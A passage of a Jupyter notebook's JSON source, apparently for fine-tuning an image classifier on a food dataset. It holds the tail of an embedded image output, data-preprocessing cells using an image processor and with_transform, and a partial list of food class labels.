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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Preprocessing the Data" + ], + "metadata": { + "id": "W8jdhJCQKCOA" + } + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "id": "9x5QuhV8IwXB" + }, + "outputs": [], + "source": [ + "def transform(examples):\n", + " # convert all images to RGB format, then preprocessing it\n", + " # using our image processor\n", + " inputs = image_processor([img.convert(\"RGB\") for img in examples[\"image\"]], return_tensors=\"pt\")\n", + " # we also shouldn't forget about the labels\n", + " inputs[\"labels\"] = examples[\"label\"]\n", + " return inputs" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": { + "id": "vY7oXLDZJBaX" + }, + "outputs": [], + "source": [ + "# use the with_transform() method to apply the transform to the dataset on the fly during training\n", + "dataset = ds.with_transform(transform)" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": { + "id": "WbWrF63YQdsE", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "0e4c0b60-e9c1-48c8-d755-88d6d8cfb150" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "torch.Size([3, 224, 224])\n", + "6\n" + ] + } + ], + "source": [ + "for item in dataset[\"train\"]:\n", + " print(item[\"pixel_values\"].shape)\n", + " print(item[\"labels\"])\n", + " break" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "id": "CnrUwcqwKTOV", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "fe094d75-c537-48e7-bfc9-38b8df4db9fa" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "['apple_pie',\n", + " 'baby_back_ribs',\n", + " 'baklava',\n", + " 'beef_carpaccio',\n", + " 'beef_tartare',\n", + " 'beet_salad',\n", + " 'beignets',\n", + " 'bibimbap',\n", + " 'bread_pudding',\n", + " 'breakfast_burrito',\n", + " 'bruschetta',\n", + " 'caesar_salad',\n", + " 'cannoli',\n", + " 'caprese_salad',\n", + " 'carrot_cake',\n", + " 'ceviche',\n", + " 'cheesecake',\n", + " 'cheese_plate',\n", + " 'chicken_curry',\n", + " 'chicken_quesadilla',\n", + " 'chicken_wings',\n", + " 'chocolate_cake',\n", + " 'chocolate_mousse',\n", + " 'churros',\n", + " 'clam_chowder',\n", + " 'club_sandwich',\n", + " 'crab_cakes',\n", + " 'creme_brulee',\n", + " 'croque_madame',\n", + " 'cup_cakes',\n", + " 'deviled_eggs',\n", + " 'donuts',\n", + " 'dumplings',\n", + " 'edamame',\n", + " 'eggs_benedict',\n", + " 'escargots',\n", + " 'falafel',\n", + " 'filet_mignon',\n", + " 'fish_and_chips',\n", + " 'foie_gras',\n", + " 'french_fries',\n", + " 'french_onion_soup',\n", + " 'french_toast',\n", + " 'fried_calamari',\n", + " 'fried_rice',\n", + " 'frozen_yogurt',\n", + " 'garlic_bread',\n", + " 'gnocchi',\n", + " 'greek_salad',\n", + " 'grilled_cheese_sandwich',\n", + " 'grilled_salmon',\n", + " 'guacamole',\n", + " 'gyoza',\n", + " 'hamburger',\n", + " 'hot_and_sour_soup',\n", + " 'hot_dog',\n", + " 'huevos_rancheros',\n", + " 'hummus',\n", + " 'ice_cream',\n", + " 'lasagna',\n", + " 'lobster_bisque',\n", + " 'lobster_roll_sandwich',\n", + " 'macaroni_and_cheese',\n", + " 'macarons',\n", + " 'miso_soup',\n", + " 'mussels',\n", + " 'nachos',\n", + " 'omelette',\n", + " 'onion_rings',\n", + " 'oysters',\n", + " 'pad_thai',\n", + " 'paella',\n", + " 'pancakes',\n", + " 